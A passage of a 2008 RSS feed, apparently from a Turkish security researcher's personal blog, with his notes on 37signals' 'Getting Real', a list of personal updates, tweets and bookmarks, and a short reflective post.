&lt;/ol&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Features&lt;/h4&gt;  &lt;ol&gt;   &lt;li&gt;make application as small as possible, Feature wise, Code wise etc. &lt;/li&gt;    &lt;li&gt;Instead of having lots of features which don&amp;#8217;t work, have a few which work great,&lt;/li&gt;    &lt;li&gt;Build features and cut it half, that's what you need,&lt;/li&gt;    &lt;li&gt;Focus on only essential features and rest will come after essentials are good,&lt;/li&gt;    &lt;li&gt;Remove features which &amp;#8220;Just doesn&amp;#8217;t matter&amp;#8221;. If a feature not changing outcome remove / don&amp;#8217;t develop it. &lt;/li&gt;    &lt;li&gt;Do not try to please everyone, focus on the essentials and the target market. &lt;/li&gt;    &lt;li&gt;Do not accept features by default, A feature should be accepted after a long battle. &lt;/li&gt;    &lt;li&gt;Solve the root problem, and let people to solve the rest of the problem in your framework. &lt;/li&gt; &lt;/ol&gt;  &lt;h4&gt;Add a New Feature Routine&lt;/h4&gt;  &lt;ol&gt;   &lt;li&gt;Say no. &lt;/li&gt;    &lt;li&gt;Force the feature to prove its value. &lt;/li&gt;    &lt;li&gt;If &amp;#8220;no&amp;#8221; again, end here. If &amp;#8220;yes,&amp;#8221; continue&amp;#8230; &lt;/li&gt;    &lt;li&gt;Sketch the screen(s)/ui. &lt;/li&gt;    &lt;li&gt;Design the screen(s)/ui. &lt;/li&gt;    &lt;li&gt;Code it. &lt;/li&gt; &lt;/ol&gt;  &lt;h3&gt;Process &lt;/h3&gt;  &lt;ol&gt;   &lt;li&gt;Do it instead of spending ages on planning it, do it as a early, shortcut dirty version if it&amp;#8217;s required. &lt;/li&gt;    &lt;li&gt;Build, Revise, Repeat&amp;#8230; &lt;/li&gt;    &lt;li&gt;Avoid Prefences, Put your professional expertise, make a default setting stick with it. Just ignore little details focus on the essentials. &lt;/li&gt;    &lt;li&gt;Do the decision, make your call, get it done, unless you got it working your idea is pointless. &lt;/li&gt;    &lt;li&gt;It doesn&amp;#8217;t matter it&amp;#8217;s beta or not, get it released. It may not be perfect but release it, then you might fix it. &lt;/li&gt; &lt;/ol&gt;  &lt;h4&gt;Unity&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Have &lt;strong&gt;&lt;em&gt;alone working time&lt;/em&gt;&lt;/strong&gt;, &amp;#8220;Set up a rule at work: Make half the day alone time. From 10am-2pm, no one can talk to one another (except during lunch). Or make the first or the last half of the day the alone time period. Just make sure this period is contiguous in order to avoid productivity-killing interruptions.&amp;#8221; &lt;/li&gt; &lt;/ul&gt;  &lt;ul&gt;   &lt;li&gt;Release often to keep yourself motivated, Add new small features and have small releases to keep yourself motivated. &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Design&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Prioritise the design, most important element to less important one. &lt;/li&gt;    &lt;li&gt;Use a simple and good language in the UI. &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Coding&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Code less, and code only required functionality, &lt;/li&gt;    &lt;li&gt;Do trade-offs between more feature and less code, &lt;/li&gt;    &lt;li&gt;Think 10 times before add a new feature, think 100 times before add a BIG feature. &lt;/li&gt;    &lt;li&gt;If you hacked the to code to get it work, go back and fix it before it bites you later. &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Words&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Don&amp;#8217;t document stuff, build a mockup instead. &lt;/li&gt;    &lt;li&gt;To explain and document features use a real-worl alike story. Don&amp;#8217;t go into technical details do it in a human way. &lt;/li&gt;    &lt;li&gt;Personify the application, decide a personality for your application and use it consistently in every single section. Design, interface, messages, features. &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Pricing&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Give something for free. Lite version, sample etc. &lt;/li&gt;    &lt;li&gt;Make sign-up and cancellation easy, allow your users to export their data whenever day want in a acceptable format such as XML. &lt;/li&gt;    &lt;li&gt;Don&amp;#8217;t do stupid trick for contract, make it obvious and easy such as pay monthly and cancel whenever you want style. &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Promotion&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://gettingreal.37signals.com/ch13_Hollywood_Launch.php"&gt;How to launch a new product&lt;/a&gt;&amp;#160; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://gettingreal.37signals.com/ch13_A_Powerful_Promo_Site.php "&gt;Promo Website&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Write education materials, books, videos, tips and tricks about the product, &lt;/li&gt;    &lt;li&gt;Add small features and promote them in specific groups, &lt;/li&gt;    &lt;li&gt;Try to sell more to your current users, (such as upgrade plans) &lt;/li&gt;    &lt;li&gt;Choose a simple, short and catchy name instead of something long and too descriptive, &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Support&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Do not use external support team, let developer to do the support &lt;/li&gt;    &lt;li&gt;Use inline help (such as a note for a known problem) in the application and Keep stuff simple so anyone can use it without training, &lt;/li&gt;    &lt;li&gt;Have a quick turnaround time in support requests (no more than an hour), &lt;/li&gt;    &lt;li&gt;Customer is not always right, &lt;/li&gt;    &lt;li&gt;Use forums to help customers to themselves, &lt;/li&gt;    &lt;li&gt;Publicise Bad News &lt;/li&gt; &lt;/ul&gt;  &lt;h4&gt;Post Launch&lt;/h4&gt;  &lt;ul&gt;   &lt;li&gt;Keep a development blog, &lt;/li&gt;    &lt;li&gt;Keep releasing often, show people that you are alive, &lt;/li&gt;    &lt;li&gt;Don&amp;#8217;t do public beta, if it&amp;#8217;s not good enough to be public don&amp;#8217;t make it public, &lt;/li&gt;    &lt;li&gt;Prioritize your bugs, &lt;/li&gt;    &lt;li&gt;Keep watching your enemies.&lt;/li&gt; &lt;/ul&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/n5SIHWYuk_nh2dHR_WfnxLDqlO8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/n5SIHWYuk_nh2dHR_WfnxLDqlO8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/n5SIHWYuk_nh2dHR_WfnxLDqlO8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/n5SIHWYuk_nh2dHR_WfnxLDqlO8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ArsVWtC2"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=s4L2kyk2"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=gZ8gKxFK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=C9fzoLAS"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=C9fzoLAS" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/B2-fhbc8N0A" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/getting-real-kitap-notlari-oku/</guid>
  <comments>http://ferruh.mavituna.com/getting-real-kitap-notlari-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/getting-real-kitap-notlari-oku/</feedburner:origLink></item>
<item>
  <title>Güncel Notlar</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/ftarzarSLxU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 06 Haz 2008 00:42:04 +0300</pubDate>
  <description>&lt;ul&gt;   &lt;li&gt;Son bir haftadır soho' da &amp;#231;alışıyorum, kaynak kod incelemesi, bu da g&amp;#252;n&amp;#252;m&amp;#252;n ekstradan 2,5 saatinin kaybolmasına neden oluyor ve d&amp;#246;nd&amp;#252;ğ&amp;#252;mde gayet yorgun oluyorum. Bu da diğer t&amp;#252;m işler ile ilgilenmemi engelliyor. Bir hafta daha oradayım &lt;/li&gt;    &lt;li&gt;&lt;a href="http://gettingreal.37signals.com/toc.php"&gt;Getting Real'&lt;/a&gt; ı daha &amp;#246;nceden okumaya başlamıştım ama bir t&amp;#252;rl&amp;#252; adam gibi oturup bitirme fırsatım olmamıştı, bug&amp;#252;n onu bitirdim. Hakkında konuşmak istediğim &amp;#231;ok şey var ama genel olarak tam bir başyapıt. &lt;/li&gt;    &lt;li&gt;PSP &lt;a href="http://www.killzone.com"&gt;Killzone&lt;/a&gt;, &lt;a href="http://www.grid-game.com/"&gt;Grid&lt;/a&gt; ve &lt;a href="http://www.puzzle-quest.com/"&gt;Puzzle Quest&lt;/a&gt; oynuyorum, &lt;/li&gt;    &lt;li&gt;Bug&amp;#252;n bir &lt;a href="http://www.pingpongdimsum.com/"&gt;&amp;#231;in restoranında&lt;/a&gt; biraz &amp;#231;in yemeği denedim, bu adamların mutfakları ingilizlerden bile beter, aman bir daha Allah korusun. &lt;/li&gt;    &lt;li&gt;&amp;#199;ok film izledim, ama şu iki tanesi s&amp;#252;perdi : &lt;a href="http://www.imdb.com/title/tt0399201/"&gt;The Island&lt;/a&gt; ve &lt;a href="http://www.imdb.com/title/tt0783233/"&gt;Atonement&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Lost' un son b&amp;#246;l&amp;#252;m&amp;#252;n&amp;#252; izledim, nedense eskisi kadar sarmamaya başladı.&lt;/li&gt;    &lt;li&gt;Bir s&amp;#252;re &amp;#246;nce Prison Break izlemeye başladım, ilk sezonun sonlarındayım.&lt;/li&gt;    &lt;li&gt;Televizyon izlemeyi tamamen bıraktım sadece dizi ve film izlemeye başladım.&lt;/li&gt;    &lt;li&gt;&lt;a href="http://code.google.com/p/netbouncer/"&gt;NetBouncer&lt;/a&gt; i&amp;#231;in yeni planlar yaptım, inşallah iki hafta sonra ilk versiyonu yayınlıyorum. Şimdiden denemek isteyen &lt;a href="http://code.google.com/p/netbouncer/source/checkout"&gt;SVN' den son versiyonu indirebilir&lt;/a&gt;.&lt;/li&gt; &lt;/ul&gt;  &lt;h3&gt;Bunlarda son haftanın genel notları:&lt;/h3&gt;  &lt;p&gt;&lt;strong&gt;04 June 2008 &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/827015495"&gt;5:55 PM&lt;/a&gt;: fmavituna: onsite for 2 weeks, can't even read e-mails, see you 2 weeks later twitter! &lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.penetrationtests.com/blog/2008/06/04/testing-a-personal-firewall-solution-a-couple-of-resources/"&gt;Testing a personal firewall solution, a couple of resources&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;02 June 2008 &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/825128833"&gt;12:06 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; Ilginc bir ozellikmis, textarea da calisti benim icin ama eger tablo varsa yazi yerine direk tabloyu seciyor.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/825128334"&gt;12:05 PM&lt;/a&gt;: fmavituna: checking out PHPSecInfo slides, quite nice idea : &lt;a href="http://tinyurl.com/4oyw8v"&gt;http://tinyurl.com/4oyw8v&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://curl.haxx.se/rfc/ntlm.html"&gt;The NTLM Authentication Protocol&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.thesimexchange.com/frontpage.php"&gt;The simExchange - The Video Game Prediction Market&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://fallout3.wordpress.com/2008/06/02/new-fallout-3-pictures/"&gt;New Fallout 3 Pictures&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://planet-websecurity.org/Slides+from+php%7Ctek+2008/"&gt;Slides from php|tek 2008&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.rachner.us/blog/?p=24"&gt;Scurvy Again: Slides &amp;amp; Demo&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;01 June 2008 &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/824293861"&gt;12:05 AM&lt;/a&gt;: fmavituna: Trial of Assault Heroes expired, looking for some other stupid game to kill time     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/824293592"&gt;12:05 AM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; ben de hemen kutlayayim :) Nice senelere... &lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://blogs.msdn.com/brada/archive/2005/03/27/402801.aspx"&gt;Common Exception Types&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.shmoocon.org/2008/videos"&gt;Shmoocon 2008 Videos&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://playnoevil.com/serendipity/index.php?/archives/2047-Online-Poker-Software-hacked-by-insiders-at-UltimateBet.com.html"&gt;Online Poker Software hacked by insiders at UltimateBet.com&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.mcgrewsecurity.com/?p=139"&gt;Holy crap, Shmoocon 2008 videos&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;31 May 2008 &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/824118941"&gt;5:33 PM&lt;/a&gt;: fmavituna: librarything' in oyunlar icin olan versiyonu var mi? Uzun suredir ariyorum bulamadim boyle bir site.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/824099146"&gt;4:52 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/YuSuPh"&gt;@YuSuPh&lt;/a&gt; bende FF eskisi gibi baska bir sitenin ikonunu karistirmis saniyordum, hakikaten tirtmis ikon.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/824098667"&gt;4:51 PM&lt;/a&gt;: fmavituna: I've started play GRID today, such a brilliant game. I think they tuned the controls, it's a bit easier than demo. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;30 May 2008 &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/823374380"&gt;2:29 PM&lt;/a&gt;: fmavituna: this week was so boring and sleepy, let's goooo homeeeeee     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/823252471"&gt;11:06 AM&lt;/a&gt;: fmavituna: this market getting hot - &lt;a href="http://tinyurl.com/55thft"&gt;http://tinyurl.com/55thft&lt;/a&gt;     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/823192739"&gt;9:05 AM&lt;/a&gt;: fmavituna: this is a potential break up song lalala llalla, bu sarki kafamda dun geceden beri, cok fazla pop etkisinde kaliyorum bu aralar. &lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.dev102.com/2008/05/30/how-to-find-memory-leaks-with-clrprofiler"&gt;HOW TO FIND MEMORY LEAKS WITH CLRPROFILER | Dev102.com&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=A362781C-3870-43BE-8926-862B40AA0CD0&amp;amp;displaylang=en"&gt;Download details: CLR Profiler for the .NET Framework 2.0&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codeplex.com/deblector/Release/ProjectReleases.aspx?ReleaseId=6820"&gt;Deblector - Release: Deblector 1.0&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.denisbauer.com/NETTools/FileDisassembler.aspx"&gt;Denis Bauer's Reflector.FileDisassembler&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.codinghorror.com/blog/archives/001124.html"&gt;Strong Opinions, Weakly Held&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.feedburner.com/%7Er/blog_zemana/%7E3/301069687/microsoft-kernel-kaynak-kodlar-ayor.html"&gt;Microsoft Kernel kaynak kodları a&amp;#231;ıyor&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/822863000"&gt;10:30 PM&lt;/a&gt;: fmavituna: Looking beta testers for Centralised I/O Validation Library for ASP.NET - &lt;a href="http://code.google.com/p/netbouncer/"&gt;http://code.google.com/p/netbouncer/&lt;/a&gt; it's in Alpha stage.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/822836031"&gt;9:53 PM&lt;/a&gt;: fmavituna: changed ads in the blog, installing Pex, replying e-mails and bloody bored. lots of things to do, not enough time...     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/822507660"&gt;1:44 PM&lt;/a&gt;: fmavituna: why you shouldn't use xbox as a server &lt;a href="http://tinyurl.com/2oyah9"&gt;http://tinyurl.com/2oyah9&lt;/a&gt;     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/822460212"&gt;12:31 PM&lt;/a&gt;: fmavituna: &lt;a href="http://twitter.com/aft"&gt;@aft&lt;/a&gt; bu gmail in basina o kadar dert olmus ki ozel uyari gosteriyorlar firebug ile gmaila girince.     &lt;br /&gt;&lt;img alt="twitter" src="http://www.profilactic.com/images/favicons/twitter.gif" align="absMiddle"  /&gt; &lt;a href="http://twitter.com/fmavituna/statuses/822459237"&gt;12:29 PM&lt;/a&gt;: fmavituna: sanirim bu tum gurbetcilerin basina geliyor, asiri sinirlenince Turkce kufretmeye basliyorum, ingilizce kesmez oluyor.     &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://www.pickaproxy.com"&gt;pickaproxy.com - geospoofing your cyber presence&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Bookmarks" src="http://www.profilactic.com/images/favicons/diigo.gif" align="absMiddle"  /&gt; &lt;a href="http://searchsecurity.techtarget.com/tip/0,289483,sid14_gci1313370,00.html"&gt;More built-in Windows commands for system analysis&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.crazyabouthome.com/myhome/2008/05/29/ilham-kaynaklari/"&gt;İlham kaynakları&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://fallout3.wordpress.com/2008/05/29/fallout-3-the-al-qaeda-connection/"&gt;Fallout 3: The Al Qaeda Connection!&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://www.pickaproxy.com/"&gt;pickaproxy.com - geospoofing your cyber presence&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://feeds.infosthetics.com/%7Er/infosthetics/%7E3/300367014/massive_digital_ceiling_clock.html"&gt;massive digital ceiling clock&lt;/a&gt;     &lt;br /&gt;&lt;img alt="Google Reader" src="http://www.profilactic.com/images/favicons/greader.gif" align="absMiddle"  /&gt; &lt;a href="http://rss.bildirgec.org/%7Er/bildirgec/%7E3/300417026/windows-7-ekran-goruntuleri-disari"&gt;Windows 7 ekran g&amp;#246;r&amp;#252;nt&amp;#252;leri dışarı sızdı&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/t3frqavdI-MwOZ8mlDyrPr5Bzko/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t3frqavdI-MwOZ8mlDyrPr5Bzko/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/t3frqavdI-MwOZ8mlDyrPr5Bzko/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t3frqavdI-MwOZ8mlDyrPr5Bzko/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=8BCQoznE"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=TZXqlwf1"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=6Imb0Oc1"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xkLtjQ46"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=xkLtjQ46" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/ftarzarSLxU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/guncel-notlar-oku/</guid>
  <comments>http://ferruh.mavituna.com/guncel-notlar-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/guncel-notlar-oku/</feedburner:origLink></item>
<item>
  <title>Günler...</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/cxOtyuLUCqg/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 06 Haz 2008 00:12:42 +0300</pubDate>
  <description>&lt;p&gt;G&amp;#252;nler ge&amp;#231;iyor, son zamanlarda yazamıyorum. &amp;#199;eşitli nedenleri var, sanırım istememezlik, bezmişlik, &amp;quot;&lt;a href="http://ferruh.mavituna.com/2-neden-paylasiyoruz-oku/"&gt;Neden arama&lt;/a&gt;&amp;quot; bunlardan bazıları. Bu aralar yazmak istiyorum, en az yazmamak istemediğim kadar. Paylaşmak, anlatmak istediğim &amp;#231;ok şey var ama maalesef d&amp;#252;ş&amp;#252;nmek ve ekrana d&amp;#246;kmek farklı s&amp;#252;re&amp;#231;ler, aynı anda &amp;#231;alışamıyorlar. &lt;/p&gt;  &lt;p&gt;The Escapist' den &lt;a href="http://www.escapistmagazine.com/articles/view/issues/issue_152/4942-Simplified-Systems"&gt;Simplified Systems&lt;/a&gt; yazısı ile &lt;a href="http://gettingreal.37signals.com/toc.php"&gt;Getting Real&lt;/a&gt;' daki &amp;#246;zellikleri, &lt;a href="http://gettingreal.37signals.com/toc.php"&gt;Zayıf Olduğunu bilmeyi&lt;/a&gt; ve amaca ulaşmayı kafamda irdeliyorum. İfadesizliği d&amp;#252;ş&amp;#252;n&amp;#252;yorum, yazmanın ne kadar zor olduğuna bakıyorum. Hayatımın &lt;a href="http://ferruh.mavituna.com/hayatinizin-25-i-sizin-gerisi-yalan-oku/"&gt;%25' inin benim&lt;/a&gt;, hatta aslında onun da benim olmadığını d&amp;#252;ş&amp;#252;n&amp;#252;yorum...&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/q9FQMK0jDcWt4hZ_BF1M5pPLjk0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/q9FQMK0jDcWt4hZ_BF1M5pPLjk0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/q9FQMK0jDcWt4hZ_BF1M5pPLjk0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/q9FQMK0jDcWt4hZ_BF1M5pPLjk0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=c5TxX5mK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=KZZoP1O9"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bI57FmMx"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ap94K1bV"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=ap94K1bV" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/cxOtyuLUCqg" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/gunler-oku/</guid>
  <comments>http://ferruh.mavituna.com/gunler-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/gunler-oku/</feedburner:origLink></item>
<item>
  <title>2- Neden Paylaşıyoruz</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/1eZrsaIQzvk/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 31 May 2008 01:59:26 +0300</pubDate>
